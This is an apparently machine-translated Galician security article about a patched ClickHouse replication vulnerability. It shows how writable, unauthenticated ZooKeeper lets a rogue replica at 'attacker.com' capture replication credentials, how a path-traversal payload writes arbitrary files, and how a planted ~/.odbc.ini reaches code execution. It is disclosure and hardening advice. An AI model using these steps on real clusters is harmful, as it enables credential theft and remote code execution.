Por que tes que manter as gaiolas do zoolóxico pechadas?

Por que tes que manter as gaiolas do zoolóxico pechadas?

Este artigo contará a historia dunha vulnerabilidade moi específica no protocolo de replicación ClickHouse e tamén mostrará como se pode ampliar a superficie de ataque.

ClickHouse é unha base de datos para almacenar grandes volumes de datos, a maioría das veces usando máis dunha réplica. A agrupación e a replicación en ClickHouse están construídas na parte superior Apache ZooKeeper (ZK) e requiren dereitos de escritura.

A instalación de ZK predeterminada non require autenticación, polo que miles de servidores ZK utilizados para configurar Kafka, Hadoop e ClickHouse están dispoñibles publicamente.

Para reducir a súa superficie de ataque, sempre debe configurar a autenticación e autorización ao instalar ZooKeeper

Por suposto, hai algunhas deserializacións de Java baseadas en 0 días, pero imaxina que un atacante podería ler e escribir en ZooKeeper, usado para a replicación de ClickHouse.

Cando se configura no modo clúster, ClickHouse admite consultas distribuídas DDL, pasando por ZK - para eles créanse nós na folla /clickhouse/task_queue/ddl.

Por exemplo, crea un nodo /clickhouse/task_queue/ddl/query-0001 con contido:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

e despois diso, a táboa de proba eliminarase nos servidores de clúster host1 e host2. DDL tamén admite a execución de consultas CREATE/ALTER/DROP.

Soa asustado? Pero onde pode un atacante obter enderezos de servidor?

Réplica de ClickHouse funciona a nivel de táboas individuais, de xeito que cando se crea unha táboa en ZK, especifícase un servidor que se encargará de intercambiar metadatos coas réplicas. Por exemplo, ao executar unha solicitude (debe configurar ZK, chXX - nome da réplica, foobar - nome da táboa):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

crearanse nodos columnas и metadatos.

Contido /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

É posible combinar datos deste clúster? Si, se o porto de replicación (TCP/9009) no servidor chXX-address o firewall non se pechará e non se configurará a autenticación para a replicación. Como evitar a autenticación?

Un atacante pode crear unha nova réplica en ZK simplemente copiando o contido de /clickhouse/tables/01-01/foobar/replicas/chXX e cambiando o significado host.

Contido /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

A continuación, cómpre dicirlle ás outras réplicas que hai un novo bloque de datos no servidor do atacante que deben tomar: créase un nodo en ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX contador de crecemento monótono, que debería ser maior que o último do rexistro de eventos):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

onde réplica_fonte — o nome da réplica do atacante creada no paso anterior, block_id - identificador do bloque de datos, obter - comando "obter bloqueo" (e aquí están os comandos para outras operacións).

A continuación, cada réplica le un novo evento no rexistro e diríxese a un servidor controlado polo atacante para recibir un bloque de datos (o protocolo de replicación é binario, funcionando enriba de HTTP). Servidor attacker.com recibirá solicitudes:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

onde XXX son os datos de autenticación para a replicación. Nalgúns casos, esta pode ser unha conta con acceso á base de datos a través do protocolo ClickHouse principal e do protocolo HTTP. Como viches, a superficie de ataque faise moi grande porque ZooKeeper, usado para a replicación, quedou sen autenticación configurada.

Vexamos a función de obter un bloque de datos dunha réplica, está escrito con total confianza en que todas as réplicas están baixo o control axeitado e hai confianza entre elas.

Por que tes que manter as gaiolas do zoolóxico pechadas?
código de procesamento de replicación

A función le unha lista de ficheiros, despois os seus nomes, tamaños, contidos e despois escríbeos no sistema de ficheiros. Paga a pena describir por separado como se almacenan os datos no sistema de ficheiros.

Hai varios subdirectorios en /var/lib/clickhouse (directorio de almacenamento predeterminado do ficheiro de configuración):

bandeiras - directorio para gravar bandeiras, usado na recuperación despois da perda de datos;
tmp — directorio para almacenar ficheiros temporais;
ficheiros_usuario — as operacións con ficheiros en solicitudes están limitadas a este directorio (INTO OUTFILE e outros);
metadatos — ficheiros sql con descricións de táboas;
configuracións_preprocesadas - ficheiros de configuración derivados procesados ​​de /etc/clickhouse-server;
datos - o directorio real cos datos en si, neste caso para cada base de datos simplemente créase aquí un subdirectorio separado (por exemplo /var/lib/clickhouse/data/default).

Para cada táboa, créase un subdirectorio no directorio da base de datos. Cada columna é un ficheiro separado dependendo de formato do motor. Por exemplo para unha mesa foobarcreado por un atacante, crearanse os seguintes ficheiros:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

A réplica espera recibir ficheiros co mesmo nome ao procesar un bloque de datos e non os valida de ningún xeito.

O lector atento probablemente xa escoitou falar da concatenación insegura de nome_ficheiro nunha función WriteBufferFromFile. Si, isto permite que un atacante escriba contido arbitrario en calquera ficheiro do FS con dereitos de usuario clickhouse. Para iso, a réplica controlada polo atacante debe devolver a seguinte resposta á solicitude (engadíronse saltos de liña para facilitar a súa comprensión):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

e despois da concatenación ../../../../../../../../../tmp/pwned escribirase o ficheiro /tmp/pwned con contido ola de zookeeper.

Hai varias opcións para converter a capacidade de escritura de ficheiros en execución de código remota (RCE).

Dicionarios externos en RCE

Nas versións anteriores, o directorio coa configuración de ClickHouse almacenábase con dereitos de usuario clickhouse por defecto. Os ficheiros de configuración son ficheiros XML que o servizo le ao iniciarse e logo almacena na caché /var/lib/clickhouse/preprocessed_configs. Cando se producen cambios, volven ler. Se tes acceso a /etc/clickhouse-server un atacante pode crear o seu dicionario externo tipo executable e despois executa código arbitrario. As versións actuais de ClickHouse non proporcionan dereitos por defecto, pero se o servidor se actualizase gradualmente, tales dereitos poderían permanecer. Se está a admitir un clúster ClickHouse, comprobe os dereitos do directorio de configuración, debe pertencer ao usuario root.

ODBC para RCE

Ao instalar un paquete, créase un usuario clickhouse, pero o seu directorio de inicio non está creado /nonexistent. Non obstante, cando usan dicionarios externos, ou por outros motivos, os administradores crean un directorio /nonexistent e darlle ao usuario clickhouse acceso para escribir nel (SSZB! aprox. tradutor).

Soporta ClickHouse ODBC e pode conectarse a outras bases de datos. En ODBC, pode especificar o camiño á biblioteca de controladores de base de datos (.so). As versións anteriores de ClickHouse permitíanche facelo directamente no manejador de solicitudes, pero agora engadiuse unha comprobación máis estrita da cadea de conexión a odbc-bridge, polo que xa non é posible especificar a ruta do controlador desde a solicitude. Pero pode un atacante escribir no directorio de inicio usando a vulnerabilidade descrita anteriormente?

Imos crear un ficheiro ~/.odbc.ini con contido coma este:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

despois no inicio SELECT * FROM odbc('DSN=lalala', 'test', 'test'); cargarase a biblioteca test.so e recibiu RCE (grazas buglloc para a propina).

Estas e outras vulnerabilidades foron corrixidas na versión 19.14.3 de ClickHouse. Coida do teu ClickHouse e ZooKeepers!

Fonte: www.habr.com

Engadir un comentario